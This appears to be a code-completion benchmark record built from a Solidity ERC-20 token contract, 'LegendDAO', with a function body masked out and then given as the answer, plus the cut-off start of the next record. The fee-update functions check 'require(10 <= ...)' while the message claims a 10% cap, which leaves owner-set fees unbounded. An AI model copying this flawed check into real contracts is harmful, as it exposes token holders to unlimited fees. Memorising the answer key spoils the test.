(address => bool) public _isAirdoppedWallet; mapping (address => uint256) public _airDroppedTokenAmount; uint256 public airDropDailySellPerc; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event BuyBackTriggered(uint256 amount); event OwnerForcedSwapBack(uint256 timestamp); constructor() ERC20("LegendDAO", "LGND") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); airDropLimitLiftDate = block.timestamp + 10 days; airDropLimitInEffect = true; airDropDailySellPerc = 10; excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 8; uint256 _buyLiquidityFee = 2; uint256 _buyBuyBackFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 8; uint256 _sellLiquidityFee = 1; uint256 _sellBuyBackFee = 1; uint256 _sellDevFee = 0; uint256 totalSupply = 1 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 5 / 500; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 5 / 100; // 5% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyBuyBackFee = _buyBuyBackFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellBuyBackFee = _sellBuyBackFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(buyBackWallet, true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(buyBackWallet, true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; gasLimitActive = false; transferDelayEnabled = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function airdropToWallets(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){ require(!tradingActive, "Trading is already active, cannot airdrop after launch."); require(airdropWallets.length == amounts.length, "arrays must be the same length"); require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input. for(uint256 i = 0; i < airdropWallets.length; i++){ address wallet = airdropWallets[i]; uint256 amount = amounts[i]; _isAirdoppedWallet[wallet] = true; _airDroppedTokenAmount[wallet] = amount; _airDropTokensRemaining[wallet] = amount; _airDropAddressNextSellDate[wallet] = block.timestamp.sub(1); _transfer(msg.sender, wallet, amount); } return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){<FILL_FUNCTION_BODY> } function updateMaxAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.5%"); maxTransactionAmount = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyBuyBackFee = _buyBackFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; require(10 <= buyTotalFees, "Must keep fees at 10% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellBuyBackFee = _buyBackFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; require(10 <= sellTotalFees, "Must keep fees at 10% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function getWalletMaxAirdropSell(address holder) public view returns (uint256){ if(airDropLimitInEffect){ return _airDroppedTokenAmount[holder].mul(airDropDailySellPerc).div(100); } return _airDropTokensRemaining[holder]; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // only use to prevent sniper buys in the first blocks. if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when sell if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } // airdrop limits if(airDropLimitInEffect){ // Check if Limit is in effect if(airDropLimitLiftDate <= block.timestamp){ airDropLimitInEffect = false; // set the limit to false if the limit date has been exceeded } else { uint256 senderBalance = balanceOf(from); // get total token balance of sender if(_isAirdoppedWallet[from] && senderBalance.sub(amount) < _airDropTokensRemaining[from]){ require(_airDropAddressNextSellDate[from] <= block.timestamp && block.timestamp >= airDropLimitLiftDate.sub(9 days), "_transfer:: Please read the contract for your next sale date."); uint256 airDropMaxSell = getWalletMaxAirdropSell(from); // airdrop 10% max sell of total airdropped tokens per day for 10 days // a bit of strange math here. The Amount of tokens being sent PLUS the amount of White List Tokens Remaining MINUS the sender's balance is the number of tokens that need to be considered as WhiteList tokens. // the check a few lines up ensures no subtraction overflows so it can never be a negative value. uint256 tokensToSubtract = amount.add(_airDropTokensRemaining[from]).sub(senderBalance); require(tokensToSubtract <= airDropMaxSell, "_transfer:: May not sell more than allocated tokens in a single day until the Limit is lifted."); _airDropTokensRemaining[from] = _airDropTokensRemaining[from].sub(tokensToSubtract); _airDropAddressNextSellDate[from] = block.timestamp + (1 days * (tokensToSubtract.mul(100).div(airDropMaxSell)))/100; // Only push out timer as a % of the transfer, so 5% could be sold in 1% chunks over the course of a day, for example. } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForBuyBack += fees * sellBuyBackFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForBuyBack += fees * buyBuyBackFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForBuyBack + tokensForDev; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForBuyBack = ethBalance.mul(tokensForBuyBack).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForBuyBack; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForBuyBack = 0; tokensForDev = 0; (bool success,) = address(marketingWallet).call{value: ethForMarketing}(""); (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } // keep leftover ETH for buyback only if there is a buyback fee, if not, send the remaining ETH to the marketing wallet if it accumulates if(buyBuyBackFee == 0 && sellBuyBackFee == 0 && address(this).balance >= 1 ether){ (success,) = address(marketingWallet).call{value: address(this).balance}(""); } } // force Swap back if slippage above 49% for launch. function forceSwapBack() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); require(contractBalance >= totalSupply() / 100, "Can only swap back if more than 1% of tokens stuck on contract"); swapBack(); emit OwnerForcedSwapBack(block.timestamp); } // useful for buybacks or to reclaim any ETH on the contract in a way that helps holders. function buyBackTokens(uint256 ethAmountInWei) external onlyOwner { // generate the uniswap pair path of weth -> eth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmountInWei}( 0, // accept any amount of Ethereum path, address(0xdead), block.timestamp ); emit BuyBackTriggered(ethAmountInWei); } }
contract LegendDAO is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public buyBackWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool private gasLimitActive = true; uint256 private gasPriceLimit = 561 * 1 gwei; // do not allow over x gwei for launch // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyBuyBackFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellBuyBackFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForBuyBack; uint256 public tokensForDev; // airdrop limits to prevent airdrop dump to protect new investors mapping(address => uint256) public _airDropAddressNextSellDate; mapping(address => uint256) public _airDropTokensRemaining; uint256 public airDropLimitLiftDate; bool public airDropLimitInEffect; mapping (address => bool) public _isAirdoppedWallet; mapping (address => uint256) public _airDroppedTokenAmount; uint256 public airDropDailySellPerc; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event BuyBackTriggered(uint256 amount); event OwnerForcedSwapBack(uint256 timestamp); constructor() ERC20("LegendDAO", "LGND") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); airDropLimitLiftDate = block.timestamp + 10 days; airDropLimitInEffect = true; airDropDailySellPerc = 10; excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 8; uint256 _buyLiquidityFee = 2; uint256 _buyBuyBackFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 8; uint256 _sellLiquidityFee = 1; uint256 _sellBuyBackFee = 1; uint256 _sellDevFee = 0; uint256 totalSupply = 1 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 5 / 500; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 5 / 100; // 5% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyBuyBackFee = _buyBuyBackFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellBuyBackFee = _sellBuyBackFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(buyBackWallet, true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(buyBackWallet, true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; gasLimitActive = false; transferDelayEnabled = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function airdropToWallets(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){ require(!tradingActive, "Trading is already active, cannot airdrop after launch."); require(airdropWallets.length == amounts.length, "arrays must be the same length"); require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input. for(uint256 i = 0; i < airdropWallets.length; i++){ address wallet = airdropWallets[i]; uint256 amount = amounts[i]; _isAirdoppedWallet[wallet] = true; _airDroppedTokenAmount[wallet] = amount; _airDropTokensRemaining[wallet] = amount; _airDropAddressNextSellDate[wallet] = block.timestamp.sub(1); _transfer(msg.sender, wallet, amount); } return true; } <FILL_FUNCTION> function updateMaxAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.5%"); maxTransactionAmount = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyBuyBackFee = _buyBackFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; require(10 <= buyTotalFees, "Must keep fees at 10% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellBuyBackFee = _buyBackFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; require(10 <= sellTotalFees, "Must keep fees at 10% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function getWalletMaxAirdropSell(address holder) public view returns (uint256){ if(airDropLimitInEffect){ return _airDroppedTokenAmount[holder].mul(airDropDailySellPerc).div(100); } return _airDropTokensRemaining[holder]; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // only use to prevent sniper buys in the first blocks. if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when sell if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } // airdrop limits if(airDropLimitInEffect){ // Check if Limit is in effect if(airDropLimitLiftDate <= block.timestamp){ airDropLimitInEffect = false; // set the limit to false if the limit date has been exceeded } else { uint256 senderBalance = balanceOf(from); // get total token balance of sender if(_isAirdoppedWallet[from] && senderBalance.sub(amount) < _airDropTokensRemaining[from]){ require(_airDropAddressNextSellDate[from] <= block.timestamp && block.timestamp >= airDropLimitLiftDate.sub(9 days), "_transfer:: Please read the contract for your next sale date."); uint256 airDropMaxSell = getWalletMaxAirdropSell(from); // airdrop 10% max sell of total airdropped tokens per day for 10 days // a bit of strange math here. The Amount of tokens being sent PLUS the amount of White List Tokens Remaining MINUS the sender's balance is the number of tokens that need to be considered as WhiteList tokens. // the check a few lines up ensures no subtraction overflows so it can never be a negative value. uint256 tokensToSubtract = amount.add(_airDropTokensRemaining[from]).sub(senderBalance); require(tokensToSubtract <= airDropMaxSell, "_transfer:: May not sell more than allocated tokens in a single day until the Limit is lifted."); _airDropTokensRemaining[from] = _airDropTokensRemaining[from].sub(tokensToSubtract); _airDropAddressNextSellDate[from] = block.timestamp + (1 days * (tokensToSubtract.mul(100).div(airDropMaxSell)))/100; // Only push out timer as a % of the transfer, so 5% could be sold in 1% chunks over the course of a day, for example. } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForBuyBack += fees * sellBuyBackFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForBuyBack += fees * buyBuyBackFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForBuyBack + tokensForDev; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForBuyBack = ethBalance.mul(tokensForBuyBack).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForBuyBack; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForBuyBack = 0; tokensForDev = 0; (bool success,) = address(marketingWallet).call{value: ethForMarketing}(""); (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } // keep leftover ETH for buyback only if there is a buyback fee, if not, send the remaining ETH to the marketing wallet if it accumulates if(buyBuyBackFee == 0 && sellBuyBackFee == 0 && address(this).balance >= 1 ether){ (success,) = address(marketingWallet).call{value: address(this).balance}(""); } } // force Swap back if slippage above 49% for launch. function forceSwapBack() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); require(contractBalance >= totalSupply() / 100, "Can only swap back if more than 1% of tokens stuck on contract"); swapBack(); emit OwnerForcedSwapBack(block.timestamp); } // useful for buybacks or to reclaim any ETH on the contract in a way that helps holders. function buyBackTokens(uint256 ethAmountInWei) external onlyOwner { // generate the uniswap pair path of weth -> eth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmountInWei}( 0, // accept any amount of Ethereum path, address(0xdead), block.timestamp ); emit BuyBackTriggered(ethAmountInWei); } }
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true;
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool)
// change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool)
68372
usingOraclize
oraclize_randomDS_proofVerify__returnCode
contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if 